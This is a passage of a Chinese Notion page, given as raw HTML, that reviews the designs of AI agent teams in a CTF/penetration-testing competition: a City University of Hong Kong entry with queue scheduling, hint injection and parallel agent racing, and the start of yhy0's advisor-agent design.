notion-block-30a0f0c5b87c81849972ea7446017aa8">CTF挑战通常需要多轮交互，随着对话轮数增加，模型容易遗忘关键信息。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c816ea889c03c1b4dbdc4" data-id="30a0f0c5b87c816ea889c03c1b4dbdc4"><span><div id="30a0f0c5b87c816ea889c03c1b4dbdc4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c816ea889c03c1b4dbdc4" title="痛点3: 非对称问题导致效率低下 (Inefficiency)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">痛点3: 非对称问题导致效率低下 (Inefficiency)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c813e8f5be5123f96e3d1">题目难度不一，如果在很难的题目上卡住太久，会浪费宝贵的比赛时间。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c811f82b6fbcdfd926315" data-id="30a0f0c5b87c811f82b6fbcdfd926315"><span><div id="30a0f0c5b87c811f82b6fbcdfd926315" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c811f82b6fbcdfd926315" title="痛点4: 工具调用的资源浪费"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">痛点4: 工具调用的资源浪费</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8166aeb0de5eddc1e34e">多个Agent同时对同一目标进行扫描，造成时间和计算资源的极大浪费。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81438f9ff07da8efe839" data-id="30a0f0c5b87c81438f9ff07da8efe839"><span><div id="30a0f0c5b87c81438f9ff07da8efe839" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81438f9ff07da8efe839" title="调度模块 (Scheduling Module)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">调度模块 (Scheduling Module)</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81acaa9ff78777c72529"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image14-20260217113443-x2yabh2.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81ac-aa9f-f78777c72529" alt="香港城市大学 - 多级队列调度系统" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c813aad5ef6cafb3e91db">香港城市大学 - 多级队列调度系统</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c816a8e0ce29f05ec7a50" data-id="30a0f0c5b87c816a8e0ce29f05ec7a50"><span><div id="30a0f0c5b87c816a8e0ce29f05ec7a50" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c816a8e0ce29f05ec7a50" title="多级队列机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">多级队列机制</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81f9be3aca0a12985edd"><b>四级参数阈值队列：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81c88ba1e92779f06240" data-id="30a0f0c5b87c81c88ba1e92779f06240"><span><div id="30a0f0c5b87c81c88ba1e92779f06240" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81c88ba1e92779f06240" title="亮点设计：提示词注入 (Hint Injection) ⭐"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">亮点设计：提示词注入 (Hint Injection) ⭐</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81cab708f7d63ce913d7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image15-20260217113443-qqbovrz.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81ca-b708-f7d63ce913d7" alt="香港城市大学 - Hint Injection机制" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81ecb8e6f53a1624ff70">香港城市大学 - Hint Injection机制</div><div class="notion-text notion-block-30a0f0c5b87c811aaecef6b31e2df5a4"><b>创新点：</b> 当题目从第一队列”降级”到第二队列时，调度器会自动从比赛平台获取 <b>&quot;提示信息(Hint)&quot;</b> 并注入到Agent的提示词中。</div><div class="notion-text notion-block-30a0f0c5b87c8189a8e1d7ab6a4f09bb"><b>工作流程：</b></div><div class="notion-text notion-block-30a0f0c5b87c810aaa8df1f5754b4380"><b>示例：</b></div><div class="notion-text notion-block-30a0f0c5b87c81e984acece4e81257ca"><b>价值：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812fb8bcce66a16b8f18"><li>打破AI的思维僵局</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8171aa77ccd21083b577"><li>提供关键线索</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b9acccf2c7e7b64c6e"><li>避免无谓的重复尝试</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81658b2dc329b557a27e" data-id="30a0f0c5b87c81658b2dc329b557a27e"><span><div id="30a0f0c5b87c81658b2dc329b557a27e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81658b2dc329b557a27e" title="赛马机制 (Agent Racing)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">赛马机制 (Agent Racing)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8148aeb7e2c164f88ce9"><b>设计思路：</b> 对于一道题，系统会同时指派一个Agent Group（包含5个Agent）并行解题。</div><div class="notion-text notion-block-30a0f0c5b87c8187adebf8346575e931"><b>5个Agent的差异：</b> 拥有不同的模型温度（Temperature）设置，产生多样化的解题思路</div><div class="notion-text notion-block-30a0f0c5b87c8135bbc2c49898fecc49"><b>温度设置示例：</b></div><div class="notion-text notion-block-30a0f0c5b87c81f4b451ce968fe12b85"><b>工作流程：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81deaf05f46bc070ca5f" data-id="30a0f0c5b87c81deaf05f46bc070ca5f"><span><div id="30a0f0c5b87c81deaf05f46bc070ca5f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81deaf05f46bc070ca5f" title="排名分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81349d5cf6f0284d120d"><b>最终排名:</b> 第八名 (NO.8)</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e986aec73c766d0cf8" data-id="30a0f0c5b87c81e986aec73c766d0cf8"><span><div id="30a0f0c5b87c81e986aec73c766d0cf8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e986aec73c766d0cf8" title="优势 ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">优势 ✅</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8105922cfee1a81639c6" style="list-style-type:decimal"><li><b>多级队列设计</b> - 合理的资源分配，Hint Injection是亮点</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81f9a90cd163f923a08d" style="list-style-type:decimal"><li><b>赛马机制</b> - 并行解题思路好，多样化温度设置</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c813a9de9f9ee4ff1590e" style="list-style-type:decimal"><li><b>共享记忆</b> - 避免重复劳动，Agent间信息共享</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c812aadfcd50744f15d1a" data-id="30a0f0c5b87c812aadfcd50744f15d1a"><span><div id="30a0f0c5b87c812aadfcd50744f15d1a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c812aadfcd50744f15d1a" title="劣势 ⚠️"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">劣势 ⚠️</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81c3a891e24ea432c2e6" style="list-style-type:decimal"><li><b>赛马机制成本高</b> - 5个Agent同时跑，Token消耗巨大</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c818ba7d4d87715c2c9a7" style="list-style-type:decimal"><li><b>队列降级可能浪费时间</b> - 在Queue 1浪费30步，再在Queue 2浪费50步</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e9af13e05afeea2b58" style="list-style-type:decimal"><li><b>没有根本解决Agent能力问题</b> - 温度调整只是改变多样性，不提升Agent真实能力</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8193a5beccedea88fab5" data-id="30a0f0c5b87c8193a5beccedea88fab5"><span><div id="30a0f0c5b87c8193a5beccedea88fab5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8193a5beccedea88fab5" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81f48978e1d735aa6741" style="list-style-type:decimal"><li><b>Hint Injection</b> ⭐⭐⭐⭐⭐ - 非常实用的创新，可以直接应用</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8161a1ede329e471d607" style="list-style-type:decimal"><li><b>多级队列</b> ⭐⭐⭐⭐ - 资源分配思路好，可优化调整</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c812d9283d357fc65025d" style="list-style-type:decimal"><li><b>持久化共享记忆</b> ⭐⭐⭐⭐⭐ - 避免重复劳动，Agent接力解题</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8135a588f09c8cdb411b" style="list-style-type:decimal"><li><b>赛马机制</b> ⭐⭐⭐ - 并行思路好，但成本考虑</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c810e9663d7dfb18a1aad"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8135b54ae6d381194b15" data-id="30a0f0c5b87c8135b54ae6d381194b15"><span><div id="30a0f0c5b87c8135b54ae6d381194b15" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8135b54ae6d381194b15" title="yhy0 - 第九名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">yhy0 - 第九名</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8104b9ebe6fc4ba6e631"><b>核心特色:</b> 顾问介入机制 | 极简工具设计 | 兜底策略 | 按需知识加载</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c814b8ca7e7935339ca58" data-id="30a0f0c5b87c814b8ca7e7935339ca58"><span><div id="30a0f0c5b87c814b8ca7e7935339ca58" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c814b8ca7e7935339ca58" title="核心创新：顾问介入机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：顾问介入机制</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81cf856fff67b2ad40e1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image16-20260217113443-6i2djx4.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81cf-856f-ff67b2ad40e1" alt="yhy0 - 顾问介入机制流程" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81438d68fc934a147a61">yhy0 - 顾问介入机制流程</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c819c8aede1093779b85e" data-id="30a0f0c5b87c819c8aede1093779b85e"><span><div id="30a0f0c5b87c819c8aede1093779b85e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c819c8aede1093779b85e" title="设计理念"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">设计理念</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81f0a46bdb4d3d05feac">模拟日常使用LLM的习惯：</div><blockquote class="notion-quote notion-block-30a0f0c5b87c813d8a7bc6706b61cb16"><div><b>从不盲信LLM的回答</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c819b89a3dbdffe2dc551">yhy0将这个思路应用到Agent系统中：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81359038e97762177e76"><li>引入”顾问Agent”</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b0aeddebb5cdceb6f7"><li>在关键时刻介入</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811c8fb6d316fa5b12cc"><li>提供专业建议</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81aebf74c6d0a235fde9" data-id="30a0f0c5b87c81aebf74c6d0a235fde9"><span><div id="30a0f0c5b87c81aebf74c6d0a235fde9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81aebf74c6d0a235fde9" title="四种触发机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">四种触发机制</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81daabead7920291d65d" data-id="30a0f0c5b87c81daabead7920291d65d"><span><div id="30a0f0c5b87c81daabead7920291d65d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81daabead7920291d65d" title="触发1: 任务开始时"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">触发1: 任务开始时</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c817f8a00c61956ebc6e9"><b>时机：</b> Agent刚接收到新任务</div><div class="notion-text notion-block-30a0f0c5b87c81a5a10ec9fc3b4268c1"><b>顾问作用：</b> 提供初始建议，避免盲目尝试</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e39682fbef1c3b4c36" data-id="30a0f0c5b87c81e39682fbef1c3b4c36"><span><div id="30a0f0c5b87c81e39682fbef1c3b4c36" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e39682fbef1c3b4c36" title="触发2: 连续失败时"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">触发2: 连续失败时</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8168b1a2c4b2924d3f7f"><b>时机：</b> 失败3次、6次、9次时</div><div class="notion-text notion-block-30a0f0c5b87c81f9bf3ae3b698ffabc7"><b>顾问作用：</b> 重新评估策略，打破思维定式</div><div class="notion-text notion-block-30a0f0c5b87c81d99dece71e437d5896"><b>阶梯式介入：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814fa820ca630190f9fd"><li>3次失败：轻度提醒</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81469b7be1291f75920b"><li>6次失败：中度建议</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816ea554dfb01b84e77c"><li>9次失败：强力干预</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e78fd1d1c5a40e22ab" data-id="30a0f0c5b87c81e78fd1d1c5a40e22ab"><span><div id="30a0f0c5b87c81e78fd1d1c5a40e22ab" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e78fd1d1c5a40e22ab" title="触发3: 定期咨询"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">触发3: 定期咨询</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8124a2e7ec79dd7d81b6"><b>时机：</b> 每5次尝试定期咨询</div><div class="notion-text notion-block-30a0f0c5b87c81749840ccceeee108f4"><b>顾问作用：</b> 防止主攻手陷入思维定式</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81439364e3383c06a8f0" data-id="30a0f0c5b87c81439364e3383c06a8f0"><span><div id="30a0f0c5b87c81439364e3383c06a8f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81439364e3383c06a8f0" title="触发4: 主动求助"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">触发4: 主动求助</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81808516d7f90d397601"><b>时机：</b> LLM自己意识到卡住了</div><div class="notion-text notion-block-30a0f0c5b87c81918138cacf73e15de8"><b>顾问作用：</b> 提供关键帮助</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81548083ffdd9f558b1d" data-id="30a0f0c5b87c81548083ffdd9f558b1d"><span><div id="30a0f0c5b87c81548083ffdd9f558b1d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81548083ffdd9f558b1d" title="设计特点"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">设计特点</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8194b9aedc72ce390d8e" data-id="30a0f0c5b87c8194b9aedc72ce390d8e"><span><div id="30a0f0c5b87c8194b9aedc72ce390d8e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8194b9aedc72ce390d8e" title="1. 顾问Agent设计"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 